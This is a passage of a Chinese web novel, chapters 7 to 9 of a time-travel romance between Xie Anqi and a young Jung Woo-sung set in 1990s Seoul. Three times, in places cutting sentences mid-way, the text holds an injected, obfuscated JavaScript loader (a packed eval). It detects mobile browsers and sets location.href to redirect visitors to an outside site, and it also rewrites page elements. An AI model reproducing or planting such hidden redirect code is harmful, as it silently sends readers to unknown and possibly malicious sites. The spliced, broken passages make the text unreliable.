郑禹胜几欲开口,视线也一直落在女孩头顶, 她扎着很清爽的丸子头,鬓边留着碎发,郑禹胜看着阳光里她细碎的头发,忍不住伸手,轻轻揉了揉她的发顶,而后他的视线和怔怔抬头的人对视着。 他有什么想说的话,在他喉间,呼之欲出,喉结微动,准备开口之际,有道声音打断了一切,怎么听都带了点讨厌—— “ 啊一股,wuli雨盛呀,这是在干什么?” 叼着牙刷的李政栽看着他,眼睛笑眯眯的看着两人。 7. 第7章 本来说借车去兜风,李政载才告诉两人车被别人借走了,没事情做三人干脆去游戏厅里,谢安琪和李政载坐在游戏机前玩游戏,玩得正起劲,谁也不让谁。 游戏币不够了,郑禹胜去柜台兑换。在等待的空隙里,他回头看一眼那两人。李政载玩着玩着想耍赖,一手操作自己这边的游戏手柄,一手拉住谢安琪的手不让她操作,谢安琪挣扎着,两人看起来就快扭打在一块。 “客人,你的游戏币好了。” 柜台工作人员把兑换的硬币递给郑禹胜,里面是他兑换的五十个游戏币。 郑禹胜回神,接过来说了声谢谢,转身往谢安琪那边走,大老远,他就能看到游戏机屏幕上谢安琪操作的小人已经倒地。毋庸置疑的,李政载又一次靠耍赖赢了。 郑禹胜知道谢安琪肯定气疯了,他准备过去教育一下欺负人的朋友,在快接近的时候,听到李政载说:“咱们打赌,你不能耍赖,说好了要回答问题的。” 距离已经很近,郑禹胜能很清晰地从周围嘈杂声响中辨认出李政载和谢安琪的声音。 “你真的好意思啊。”谢安琪气鼓鼓的,显然不服输,她也没想到,年轻的人都喜欢这样耍赖。 “那有什么不好意思的,反正我赢了。我问你啊,你是不是喜欢郑禹胜。” “怎么了?你那么好奇。” “你得回答这个问题,你们没谈恋爱啊?” “你这是两个问题。” 李政载没得到回答,撞一下谢安琪肩膀:“哪有?这是一个意思的问题。” 谢安琪还沉浸在输游戏的郁闷中,脸上一阵无语,她也不知道说什么:“说好了,只回答一个问题,你得想好到底要问什么。” 李政载刚想开口,就感觉头顶有重物压下来,是有什么放在他脑袋上,转头回去看看,郑禹胜的脸看起来表情不太好,居高临下、极具压迫感。 郑禹胜一直以来都长得很帅,浓眉大眼基本不会摆脸色,第一次李政载在他脸上看到了 爱搭不理,一眼就辨认出他此刻的情绪是高兴还是不高兴。 就比如此刻,谢安琪察觉到了他的低气压,她仰着头看着他,眼睛眨了眨。 郑禹胜却没看谢安琪,在李政载下意识抬手去接游戏币时,他松了手,清冷冷地说:“我出去一趟。” 李政载点头,郑禹胜转身,忽然感觉手指被柔软的温度覆盖。略微侧目,是谢安琪抓住了他手。 “郑禹胜,你敢去抽烟,你就死定了。” 谢安琪故意说得恶狠狠,却叫郑禹胜愈加心闷,想知道她的答案,但郑禹胜又不敢听她的答案,这让他心里烦闷的很,他掀起眼皮看她一眼,说:“那你试试。”然后人转身就走,干净利落。 谢安琪想追上去,但被李政载拉住了。李政载劝她:“算了,我猜他也不会抽烟的,他说过要是谈恋爱了,就不抽烟了。“ “他什么时候跟你说的?” “很早了。一年前吧,我记得那时候他给我看你的照片,就说你还没有回来,等你回来他就再也不抽烟了。” 李政载说到这,还叹了叹气:“ 不过最近我们一起去跑走秀和拍广告,他压力也挺大的,虽然不知道你这几年是去哪里读书了,不过这几年他是挺辛苦的。” 谢安琪沉默了,她确实一直都觉得,郑禹胜是没有那么喜欢她的,她遇见郑禹胜的时候,就是他递上来的合约结婚邀请,就直说是她跟谁很像,让她协议结婚帮他个忙。 就从这个事情开始,在她的记忆里,他做什么事都轻而易举,毫不费力,她没想到她第一次见到郑禹胜的时候,或者是郑禹胜等了她很久很久了。 还是说,比起现在这个时间,她还去过更早的时间吗? 不然,李政载对她似乎也并不陌生的。 谢安琪却是愣神好一会,然后才用充满祈盼的眼神望着李政载:“李政载,你带钱了吗?能借我点吗?” 李政载:? - 游戏厅在临街的街道,转角就是藏在小巷子的吸烟区。周围都是路人,声音嘈杂吵的很,虚虚幻幻,像是另一个世界的声音,只有黑暗中一小点跳动的火星,爱喜薄荷烟的味道不停的飘起来,因为没人吸,没多久,火星也灭掉。 郑禹胜回到游戏厅,但是游戏厅里只剩下李政载一个人,他不禁往四周搜寻,问:“谢安琪呢?” 李政载回答:“走了,不知道是不是有什么事情。” 真是说走就走,招呼也不打,郑禹胜心里更闷几分,嘴角仍压着不高兴的弧度,坐到李政载身旁,刚才谢安琪坐的位置,他从李政载那边的小框里拿走几个游戏币,投到游戏机里。 见游戏重新启动,李政载马上跟上,一边操作一边跟郑禹胜八卦:“我刚才问谢安琪了,你们俩是不是恋爱了。” 郑禹胜目不斜视,冷冷地应:“你很关心?” “关心啊,当然关心,你难道不是喜欢她吗?” “嗯。” “所以说啊,我得帮你问问这个事情啊,你总不能不放在心上吧。” 郑禹胜哼笑一声:“好啊,那是不是还得感谢你。” 他说着,表情没应起伏,却灵敏操作游戏里的小人,对李政载那个角色一阵拳打脚踢,然后不着痕迹地补上一句:“不要在管这个事情了。” 得,答案很明显了。 李政载其实就是随口开玩笑一样的提起这个事情,更多的是对谢安琪的八卦。听到郑禹胜这么说,他的脑袋终于灵光了一回,以郑禹胜的反应来看,大概率是还没有表白,又或者表白了但是两人还没有在一起? 李政载还没领悟出个所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471766|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然,郑禹胜就已经撤回手,眉也不抬地向他淡淡宣告:“你死了。” “……”李政载转头一看,游戏画面里,他的游戏人物果然已经死了,躺在了地上。 于是,这个下午,李政载起码在郑禹胜手下死了十几次,因为爱情这样折磨兄弟,是不是有点不太好啊? 但李政载的问题,没人给他回答。 - 谢安琪出门了,带着她花了半小时包装的礼物。 她才懒得回答李政载的问题,但不耽误她给郑禹胜准备礼物。 屋塔房前的楼梯,路灯亮亮的,几只小飞虫追逐着光亮,打着转儿飞。谢安琪站在路灯下,从楼梯走上去,又从楼梯走下来。 道路另一头,郑禹胜跑过来,夜色之中,谢安琪看不到他表情,倒是给她一种大少爷屈尊降贵、大发慈悲连夜赶过来的错觉,人还是长得好。 没等郑禹胜走近,谢安琪就冲他招手,笑得眉眼弯弯。郑禹胜走到谢安琪身前,眼尾收拢,漆黑眼眸看着她,问:“叫我过来干什么?” 谢安琪把手上礼物递给他,笑着:“给你的礼物,补给你的生日礼物。” “礼物?” “对啊,就是想补给你的。” 谢安琪见郑禹胜没动,就把他垂在身侧的手抓起来,再将包装好的纸盒放到他手上。 “我攒了好久的钱,又跟李政载借了一点。这个挂件送给你。” “虽然已经说过生日快乐了,但是现在还是得说一次:生日快乐啊,郑禹胜,欢迎来到大人的世界。” 郑禹胜在路灯底下直挺挺站着,滞了许久,感觉她的礼物有些重量,被她挂在身后的包上,也来自于面前人让人心动的生日祝福,他半天没说话。 谢安琪观察着他反应,以为他是不喜欢这份礼物,连忙说:“我真的挑了很久的,你就算不喜欢,也要说喜欢!”她甚至还凑到郑禹胜面前盯着他命令一般的说这:“快点!说喜欢!” 郑禹胜仍是没出声,慢慢垂下眼睫,目光停留在谢安琪着急发红的脸上,他心内恍惚颤动,抿了一下干燥的唇,说:“喜欢。” 他喜欢,不管谢安琪送他什么礼物都喜欢,就算她从路边捡一个石头送他,他也喜欢。更不要说,他现在的生活,多是谢安琪在照顾她。即使郑禹胜没再明说什么,但多年的了解已经让谢安琪知道他是什么意思。 谢安琪很满意,仰着头笑意盈盈地看着他。 她脖颈的弧度漂亮干净,让人想覆手过去,再拉过来,拉到怀里。 郑禹胜是这样想的,但郑禹胜还是克制住了。 他只是装作自然地抬头,去看悬在天边的那抹冷月。 不过嘴角似有若无地勾起,是唯一的情绪表露。 谁说他总是没什么大表情,那应该就是不了解他而已。 8. 第 8 章 谢安琪喜欢吃冰淇淋,郑禹胜跟她讲过他二十代的时候有一款很爱的冰淇淋,还总说如果不是现在停产了一定会带她去吃。 只是真的见到二十代的他,年轻的郑禹胜却说自己不喜欢吃冰淇淋,但却还是带她去了附近的便利店。 反正谢安琪要求郑禹胜给自己买冰淇淋,郑禹胜也不会拒绝,谢安琪也不客气,从冰柜里拿了一个最贵的,郑禹胜什么都没说,主动去结账。 谢安琪习惯了,她遇见郑禹胜之后,他一直都挺大方的,对她花钱的方面向来都很大方。 两人坐在便利店边的长石凳上,谢安琪晃着腿单手后撑着,总之怎么自在怎么坐,一脸满足地吃着冰淇淋。看她吃得摇头晃脑的,郑禹胜忍不住翘唇角,只用着吃冰淇淋动作掩盖自己的笑容。 “ 你这么喜欢吃冰淇淋?” 郑禹胜看着她,忍不住笑着问道,谢安琪听着 咬着冰淇淋勺子,冲郑禹胜点头,然后顺手再用勺子从他那边舀起一勺冰淇淋,直接吃掉,然后才把自己的递到他面前,“你要尝尝我的吗?” 郑禹胜看着她,刘海依然挡着脸颊,他还没来得及说什么,谢安琪就挑眉暗示:“ 我这个真的好吃。” 看着她的笑容还有嘴角的冰淇淋,郑禹胜忍不住捂着嘴巴咳起来,顺便挡住自己莫名滑动好的喉结,他撇开头,试图掩盖自己的情绪。 “我不吃你的了,看你那么喜欢。” 谢安琪吃着冰淇淋反驳:“那也没什么,给你分享几口还是可以的。” 说这话便又把冰淇淋递过去,郑禹胜没什么动作。 这时候,前方传来脚步声,谢安琪好奇望过去,暂时看不清人,反正也不会是她认识的人,干脆不要关心了,比起郑禹胜安静看着前方经过的人。 谢安琪整双眼睛都黏在郑医生身上,借着几步路远的路灯,谢安琪看清缓慢晃过眼前的郑禹胜眼眸的情绪。 他这是怎么了? 谢安琪下意识咬住勺子,转头看着郑禹胜,恰好郑禹胜也在看她,发现了谢安琪眉眼间的疑问。 等人影离开之后,郑禹胜才解释:“ 那是我偶妈,不过她最近都不想搭理我,而且她也不喜欢我。” 谢安琪有些意外,眉头微微皱了一下,问:“什么时候的事?” “也就近几年,偶妈因为我们家实在是太困难了,一直只能住在棚户区,才在几年前和阿爸离婚了,现在她看到我都会当作没看到我。“郑禹胜如实说着,还故作轻松地笑了笑:“你看清没有,边上那个跟她一起走着的,应该是她的新男友吧,别说他长得还挺好看的。” 怕谢安琪没看清人,郑禹胜还抓住他的手,带她跟上去看,“嘘,我带你去偷偷看一眼。” 谢安琪来不及拒绝,就被郑禹胜拉着走,她虽然想拒绝,但是郑禹胜力气太大了,直接把人拉着就走,两人一前一后走回到了原来的林荫小道,那边有个停车的空旷地,谢安琪完全不知道郑禹胜家里还有这样的事情,明明两人结婚的时候还见过他偶妈的。 夜色深了,门洞深处一片静谧,那边拐角刚巧路灯没有办法投映下灯光。 谢安琪先是被郑禹胜拉着快步走,快近了又放轻脚步,看着郑禹胜蹑手蹑脚的谢安琪也忍不住跟着轻手轻脚的,但是对于这个事情谢安琪还是打心眼李觉得有点迷茫,就没想到这样的事情,郑禹胜也会带着她跟她分享。 他们越走越深,再一个转角就能走出去,走到能停车的地方,害怕被发现,郑禹胜拉着谢安琪躲在了拐角的地方,两人不约而同停住了脚步。 在无人的角落,安静静谧的夜色之中,谢安琪被郑禹胜搂在怀里挡在拐角的地方,就怕去而复返的偶妈看到两人。 眼看着郑禹胜贴着她这么近,谢安琪不自觉握紧手中没吃完的冰淇淋,尤其郑禹胜下巴在她的头顶上来回的时候,就只是只是发丝和皮肤的接触也让她瞬间红了脸,她如果抬眸的话就能看到郑禹胜不断滑动的喉结,还有点好看。 意识到自己想法的谢安琪突然面红耳赤,反应过来后要去撤开自己的眼神,但是又忍不住去看,整个人慌慌乱乱的,这让她没拿稳冰淇淋,掉落在地,发出非常轻微的声响。 很快,脚步声重新传来,越走越远,然后是汽车引擎的声,看样子郑禹胜的偶妈先离开了, 不是很理解事情发展的,谢安琪一直被郑禹胜扣在怀里挡着不让路过的人看到,郑禹胜的气息也一直在她的呼吸间越来越明显,等着郑禹胜退开的时候,完全不敢喘息的谢安琪这才忽然卸了力,想要离开却因为紧张卸力而靠在了身旁郑禹胜的手臂上。 郑禹胜受力,低眸静静看着她发顶。 “郑禹胜,你是不是有点难受,不然你难受你就说出来吧。” 谢安琪虽然想着郑禹胜拉着她去看,只是为了说服他自己不要再关心这些事情,但很明显谢安琪看到了郑禹胜默默留下的眼泪。 谢安琪说完后没有得到郑禹胜的回答,他只是只是暗暗呼一口气,然后动了一下被谢安琪靠着的手臂:“ 那也应该是我难过,怎么感觉你比我还难过。“ 站都站不稳,还要他扶着,也不知道是不是看着谢安琪比他还难受的样子,郑禹胜反而觉得这些让他难过的事情也没有很重要了。 “我替你难过不行么?而且你再给我点时间,我有点没缓过神。” 郑禹胜:“……” 夏日的夜晚,很久没见的女孩就这样靠在他的怀里,闷热的夜晚好像连风都不愿意来的时间里,他心里最重要的人在他怀里的时候,两人紧密依偎着的时候两人之间有着藏不住的 暧昧,顺着皮肤和骨骼密密麻麻进入他的心。 谢安琪缓缓抬头,发觉郑禹胜微垂的纤长眼睫遮匿着微弱的光,他在看她,好像任何她抬头的时候,他都在看着她,意识到这一点的时候,谢安琪才发现,自己和郑禹胜之间不是她以为的只是一纸协议的事情,或者她会来到他年轻的时候是有原因的嘛? 谢安琪非常清晰地感受到自己的心跳狠狠撞击胸腔,鼻息加快,在愈演愈烈的心跳声里,是不是有什么名为姻缘的东西在将他们越缠越紧,尤其她看着郑禹胜抬着胳膊朝她过来,轻轻的在她的嘴角擦过去。 比起记忆里成年人的手掌,这会他的手掌还带着很明显的少年人的骨感 他的手指微凉,腕骨凸出,带给她的感官很是清晰,她以为会有什么事情,但只是用指尖擦了一下她的唇角。 “ 嘴角,冰淇淋。”郑禹胜说。 谢安琪逐渐缓过神,明白过来他的意思,但早就是成年人的谢安琪却垫脚靠近郑禹胜,看着他优越的五官,笑着说着,“那你还不如,直接亲我呢。” 谢安琪开了个玩笑,夜色太沉,她没发觉郑禹胜完全无法掩盖的停顿和耳尖的红润,他虽然没有说话,但也没有否认。 他没否认,他想亲她。 甚至想告诉她,自己等了她好久好久。 但这些都是还灿烂年轻少年的独属的怀念,他所有的思念都沉浸在内敛和沉默内,却又在心底默默暗自张扬。 …… 谢安琪比想象中的在九十年代的汉城呆的时间久。 久到她等啊等啊都没有等到回到二十世纪的契机。 不属于她的九十年代的夏天似乎要缓慢走向尾声。 直到某一早起来,终于等到郑禹胜带着行李回来。 郑禹胜前脚刚进门,刚起床迷迷糊糊的谢安琪就后脚跟进来,她还以为是九十年代,直接跑过去整个人抱住郑禹胜,整个人埋在他怀里,“ 你终于来找我了,我都等你好久了,不是说今天去看电影么?” 郑禹胜看看谢安琪,她好像真的很着急,鼻尖和额头都急得冒出了汗,他都没想到这次拍完电影回来,谢安琪对他这么主动,但这些只是心里的话,郑禹胜主动开了卧室的空调,然后不紧不慢地收拾自己带回来的衣服。 谢安琪本来还奇怪他为什么拎着自己的衣服跑到她这边,然后看到的是那个对她更多的是绅士的第一次认识的,刚拍摄完寂静之海的,已经是成熟大叔的郑禹胜,等发现这个后,谢安琪跑来就抢走郑禹胜手中的衣服。想到什么后,她一脸忐忑:“你……还记得以前的事情么?” 郑禹胜轻笑一声,慢悠悠地说:“你说我还记得么?或者你希望我记得什么?” 谢安琪迟钝反应过来后,好像郑禹胜知道很多比她想象还多的事情,她这才小心翼翼的搂住 郑禹胜的胳膊,“ 你还记得那年我突然出现在你家附近,天热你还来吹空调,我们睡在一个屋子里?” “ 记得,还好那时候你没有跟他做什么。” “ 你记得,你都记得,你终于不是那个就知道绅士的郑禹胜了。”说完整个人扑进郑禹胜怀里,整个人跳进他的怀里,郑禹胜差点站不稳,往后退一步,伸手把谢安琪稳稳的搂进怀里。 “行了,别蹦了。有这么高兴么?” 谢安琪狂点头:“当然高兴!你记得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471767|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我,那就不是只有我一个人单相思啊,我要是不喜欢你,你当初找我协议结婚的时候,我干嘛要答应你。“ 几乎是话音落下的瞬间,谢安琪就更紧切的抱住他,脸颊也忍不住跟他贴在一起,就好像在眼前的青春的郑禹胜,成熟的郑禹胜都是她记忆里的人,等她从怀里跑开,他留在原地,低头浅浅抿唇笑起来。 他那天看到窗户口伸出身子跟她打招呼的谢安琪的时候,就知道属于他们两个人的未来有无数种可能的形状,那一刻是他人生的分界点,青春可能会在他心里戛然而止,但当她出现的时候,似乎已经帮他把青春带了回来。 所幸现在,他的青春在慢慢的被谢安琪补全。 谢安琪从家里冰箱拿过来两瓶啤酒,此刻两个啤酒罐都已经空了。她脸颊酡红,昏昏沉沉地趴在郑禹胜身上,嘴里不知在呓语着什么,整个人都扒在他身上。 郑禹胜坐在床边怀里抱着谢安琪,比起二十代的时候,他现在对谢安琪更多的情绪终于敢慢慢释放出来,他也陪着喝了挺多酒,口腔里还有啤酒的味道,不知道是不是喝的有点多, 鼻尖呼吸也变得比平时炙热几分。 对于他现在这个年纪,四十来岁的人了,这点酒对他来说算不上什么,根本不会醉的,然而 他突然很想让自己醉一下。 其实这种事情发生在他身上还是挺神奇的,也是他拍摄完《触及不到的爱人》的时候接受了他和谢安琪这种交错时空的爱情, 他一直都知道自己是个很自我很骄傲的人,这是他最大的缺点,以至于他见到谢安琪的时候,直到她的时间线内那是第一次见到他,而无法放下自己的骄傲,问她是不是喜欢自己,只是直接跟她提了协议婚姻的提议,刚好解决掉她想要做的事情。 但如果那时候他谢安琪一句:“你喜不喜欢我?” 谢安琪也会回答他喜欢,但那还不是他想找回的喜欢。 那个时刻里,他是个只敢暗恋的胆小鬼,他企图用她的未知掩饰自己的卑微。 这会谢安琪约是醉得狠了,全身都泛起薄薄一层粉。她挂在郑禹胜的怀里,整个人紧密的跟他贴在一起,她是清凉解暑又开心了,但是郑禹胜却快抑制不住他的欲望,他只能连忙把人从自己怀里扶起放在床上。 如果他没记错的话,这个时候她在醒来,又是看到的他最灿烂的年华。 正如他猜测着,这会谢安琪躺在床上很快消失回到了九十年代,她穿着吊带和短裤,躺在床上。 来找她的郑禹胜这会正背对着她坐着,完全没有注意到喝醉酒的谢安琪消失了几分钟后又在床上出现了,等他转身回去想确认人醒没醒的时候,笔直修长的腿大咧咧从被子里伸出来在床上摆放着,丝毫没有想到要去注意影响。 郑禹胜觉得自己的目光开始带着不可控的温度,他别开脸,喉结滚动,伸手抓过一条盖毯,盖住了谢安琪,冷静一会后,他拍拍盖毯底下谢安琪的后背,说:“醒醒,你赶紧醒一醒。” 谢安琪不情愿地往床里面挪了挪,如果仔细分辨还能听到她发出小猫似的闷哼声,还是很熟悉的拒绝模式。 “咱们不是说好了,今日去看电影的么?你怎么自己喝醉了睡着了,票要过期了啊。” 郑禹胜企图用事实去唤醒谢安琪,但谢安琪两耳一闭,什么都听不到。 “谢安琪?” “谢安琪?” “ 呀! 快点起来!” 郑禹胜喊了谢安琪几声,见谢安琪都没回应,便小心翼翼地倾身过去看她朝向另一边的脸,或者她是真的睡着了?郑禹胜拿她没办法,视线缓慢扫向地上的酒罐子,完全不懂自己怎么突然答应陪她喝酒呢? 床头柜那两个空酒罐子,一时想不明白刚才他到底为什么会答应跟她喝酒。喝酒耽误事情真的不是假的,他坐在床边看着窗外的日头西落,渐渐暗了下去,身后的醉鬼,睡觉还不老实,睡着睡着还哼唧几声翻身,还会伸腿踹他。 但是他侧身过去看她的时候,看着她睡着的时候非常松弛,额头靠在郑禹胜腰侧,手臂抬起轻轻揽住他的腰,显然很信任他也很亲近他。 郑禹胜侧身坐着,猝不及防被她抱住,没有想到这样事情的发生,突然不敢用力呼吸,就好像他也喝了酒一般,什么情绪在一点一点攻破他的防线,打乱他的忍耐。 身下某种熟悉的感觉突然清晰起来—— 郑禹胜认命闭上眼睛,仰头咬牙忍不住深呼吸,总有一天他会死在谢安琪手上。 9. 第 9 章 就连窗外又摩托车跑回来,还是老邻居的妈妈们喊孩子们吃饭,各种动静都没能把她喊醒,反而是越喊她,她就抱着郑禹胜的半腰越用力,一时间也分不清她是还在睡还是醒了,总归是纹丝不动,睡得很沉。 郑禹胜一直在房间待到傍晚时分,直到看着她自己悠悠转醒。 这期间他已经把从兼职店的新做的汉堡加热三次都吃掉了,每一刻郑禹胜其实吃得有些心不在焉,他表面看着与平时无异,心却一直提着,他看着谢安琪一直不醒很是担心,但是又不敢带着她去医院,就算去了也没有办法登记一切内容,更没有办法解决。 中途有人来找他,甚至李政载把摩托车推来给他放在院子里,都不知道他房间里还有个人,他没主动说,他怕其他人误会,虽然知道自己和谢安琪可能以后会一直一直在一起,但是现在来看谢安琪是女孩子,他还是得注意一点影响没有什么错的。 “对了郑禹胜,你最近还去汉堡店打工?不是去拍摄广告了么?”李政载在院子里问着,也没打算进屋。 郑禹胜点头,回答道:“还在汉堡店,老板挺好的。” “他肯定很高兴吧,你这帅的人在店里,估计他的生意都好了很多,就像我在咖啡店一样。” 郑禹胜没应声。 他懒得搭理李政载这种说什么都要自夸一番的事情。他不知道自己这样李政载是否高兴,反正他们平时聊到工作,都是公事公办,不多说一句。 “ 对了,你要不要兼职多攒点钱去上学,我打算以后去东国大学提升一下学历,那天不是有工作人员说建议咱们去拍电影么?你怎么考虑的?” 李政载还在絮絮叨叨的,完全没有看出郑禹胜不大想聊这些,他人在院子里心都在屋里。 虽然不太懂郑禹胜为什么看起来毫不关心的样子,但是还是最后张了下嘴,心想自己也没说什么呢,转念一想,他好像一次性确实说多了,估计朋友也不知道先回答什么了。 郑禹胜平时都不提上学的事情,他只有初中后就辍学了,表面他看上去很无所谓,其实这也算是他的一个伤口。他这个做朋友的一直一直说这个话题,刚才竟然还提了这么多次。 “好了好了,郑禹胜,那个车借给你了,过几天还给我就行。”李政载马上为自己打圆场,然后离开了。 借到车了停在院子里,送走朋友锁好门,郑禹胜回了房间。 回到屋子里,谢安琪还沉沉睡着, 郑禹胜看着,也就随意坐在椅子上,一只手散漫搭着书桌,指尖有一搭没一搭地捏着桌上的玩偶玩,一个挂在她书包上,看起来蛮新的玩偶,不像是他现在这个时候能有的,但捏起来手感也很不错。 他坐在不远处看着,就怕走过去又被人抱在怀里,想起刚才的情况,郑禹胜感受着自己的变化,连忙吃了个薄荷糖,企图让自己脑袋清醒些,冰凉凉的甜味在口腔弥漫,清神醒脑。 从他的角度,恰好能看到床上睡觉的谢安琪,他一直看着,很久都没移开眼,看她睡着时候恬静的眉眼,看她翻身过去露出的小巧的脚丫。 时间一分一秒地过,床上睡着的人,看起来是睡够了,要醒了。 谢安琪脑子昏昏沉沉的,迷迷糊糊睁开眼,她还是觉得自己很困。 做起来缓过几秒后,她才慢慢的反应过来郑禹胜拍完电影回家了,她也回去原本的世界,但是想到自己直接跳在郑禹胜身上,整个人盘在他身上,惹得她突然从床上坐起—— 呀,头痛,谢安琪还没坐稳,单手按着太阳穴缓解着难受,很快有人帮她按着,她还没有反应过来,只在想着自己怎么喝了这么一点点就醉了,而且还跟着郑禹胜一起喝的时候醉了,等会,郑禹胜呢? 谢安琪这时才想起他,转头,就见到了人,郑禹胜半垂着眸,跟谢安琪对视着,语气懒洋洋的:“酒醒了?” 谢安琪眨巴眨巴眼睛,瞪大眼睛看着眼前的年轻版郑禹胜,开口时候,带了点撒娇味道。 “郑禹胜,我想喝水,而且你怎么便年轻了?“ 喝完酒后,谢安琪的声音软绵绵的,撞击在耳膜里,像是小鼓槌敲打着鼓膜,以至于郑禹胜没有去追究话里的年轻了是什么意思。郑禹胜漆黑的眼睫垂下,掩了掩心底微妙的颤动,起身离开椅子,很快又回来了,给谢安琪递过去一杯水。 谢安琪喝完水,捧着这个杯子看着郑禹胜,接着说:“你真的,怎么变年轻了,你不是刚监制完电视剧回来吗?” 郑禹胜仿佛是懒得思考她说的这个话题,整个人站起来,借着身高投影下来的阴影,整个人凑在谢安琪面前,不只是把谢安琪困在自己的影子里,更像把她困在自己怀里一样。 他故意问:“不是说喝不醉么,怎么睡了这么久?” “……”谢安琪心虚,抱住杯子嘿嘿笑了两声,“好像是睡了很久,眼看着你都变年轻了!“ ?? 变年轻了? 谢安琪有点迷茫,然后翻身准备起来去找手机,屋子还是那个屋子,但是人却年轻了?她不是回去二十世纪了么??? “……” 郑禹胜闭上嘴巴,看着谢安琪光脚在屋里来回跑,看着她无数次头伸出窗户外,来来回回的, 最后实在看不过去了,人是牢牢实实地挡在她身前。 谢安琪想了想,忽然笑起来。 “我知道了,肯定是让我特意回来,陪着你来着,那这样以后你要解释的可多了,那我现在就是你的女朋友了么?” 谢安琪还以为两人的故事已经有了进程,完全没想到,只是稍微错位回去了一会会而已,话没说完,谢安琪就被郑禹胜不由分说地捂住了嘴巴。 他皱着眉,眼底漆黑,似乎有点恼:“你在乱说什么?你怎么就是我女朋友了?” 谢安琪扒拉开郑禹胜的手,用非常轻的气音说:“当然是你。你没有跟我表白吗?”她用指尖挠挠郑禹胜的手心,声音更轻了:“那要不然,反过来也没关系的,我跟你表白,你当我男朋友呗。” “可不可以?” “男朋友?” 郑禹胜滞了几秒,抽回手,毫不留情地拍了一下谢安琪的肩膀,转身就坐回到椅子上,连个侧脸都没给她留,语气也有些生硬。 “哪有女生先表白的,就算,就算我……你,你也得等等我来说啊。” 谢安琪倒是无所谓,把水杯放到床头柜上,重新在床上躺了下来,但是很快又走去郑禹胜身边,单手拍了拍郑禹胜,“郑禹胜,我饿了。” 郑禹胜转头看谢安琪,看她完全不害羞的样子,顿时觉得自己害羞起来反而有些别扭, 犹豫片刻,似是拿她没办法般,起身往房门口走。临走前不忘说着:“等会我,我去便利店给你买吃的。” 谢安琪听着忍不住咽了咽口水,但是她马上又听到郑禹胜说:“有什么想吃的。” “泡面!我要农心的杯面,再来一个芝士香肠,还有炸……qikin,qikin,要辣的,辣的。” 谢安琪暗暗腹诽,她现在肚子都饿得干扁了,她觉得还能吃好多。 “还有一个啤酒……” 点单的声音还没有结束,谢安琪不知道郑禹胜什么时候来到她身边的,她感觉自己的肩膀被握住,郑禹胜将她移了一点位置,让她坐在床沿边,搬着她的身子面对着他,语气里全是叫她不要再想着喝啤酒的事情了。 被拒绝的谢安琪瘪着嘴巴,挥手送走郑禹胜,四周一下就静了下来。 郑禹胜动作很快,他倒是没有买拉面而是加热过的便当放在她面前,看着和未来没什么不同的香肠,米饭,泡菜,鸡蛋卷,谢安琪第一次这么想吃泡面,但谢安琪,早已敏感地捕捉到了空气中的郑禹胜的意思。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471768|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 总归意思就是希望她吃点好的。 汉城的夜晚最热,但好在她的屋子还是带着空调的那个,她现在就已经感觉到了空调把一切热量压了下去,反而是他坐在自己身边的时候像是个移动的热源。 郑禹胜盘腿坐在她身边,没多久递上来一瓶啤酒,先让她只喝了一口就拿了回去,确认她是只喝这么一口后,对谢安琪说:“少喝点,一口就好了。” “噢……”谢安琪应一声,微微叹气,“你真的好讨厌,我喝酒你也要管。” 郑禹胜坐到谢安琪身旁,意有所指地说:“或许不用等很久,你回去了也喝不了那么多酒,我…… 反正是这样觉得的。” 谢安琪本能地想认可他的说法,她确实没有办法喝很多酒,总是被郑禹胜管着,但他还没有问“为什么”,她脑子一转,马上就明白过来。 她又叹了叹气,“ 确实是没什么办法喝酒。“说到这,谢安琪担忧地抓住郑禹胜衣摆,问:“你不能让我喝一点吗?” 对于她的提问,郑禹胜先是小小地“嘘”了一声,示意谢安琪小声点,然后才看着她的脸,不知道想说什么,开口前嘴唇绷了一瞬。 最后问:“那为什么你这么喜欢喝酒呢?” 谢安琪看着郑禹胜的眼眸,与他对视着,”因为看着你就会醉,喝酒也会醉,我还是想喝酒醉,至少我喝了酒。“ 他轻着声,重复问了一遍:“看着我也会醉?” 谢安琪下意识堵住他的嘴,不想他再重复这些不想听他说的话了,迷蒙晚霞从窗户外渗透进来,让两人之间都带了些说不清的暧昧。至少,郑禹胜能捕捉到谢安琪脸上那非常不易察觉的情绪变化,她在躲避自己的视线,或者可以翻译成她在害羞。 聊了这么久,也就多得了一口酒喝,没办法谢安琪勉强接受现实,她是真的饿了,三下五除二就把便当给吃完了,吃完后,她摸摸肚子,整个人凑在郑禹胜身边可怜兮兮地看着他说:“郑禹胜,我真的想喝酒。” 郑禹胜也没办法,后背靠到床头坐着,指了指旁边的水杯:“喝点水?” 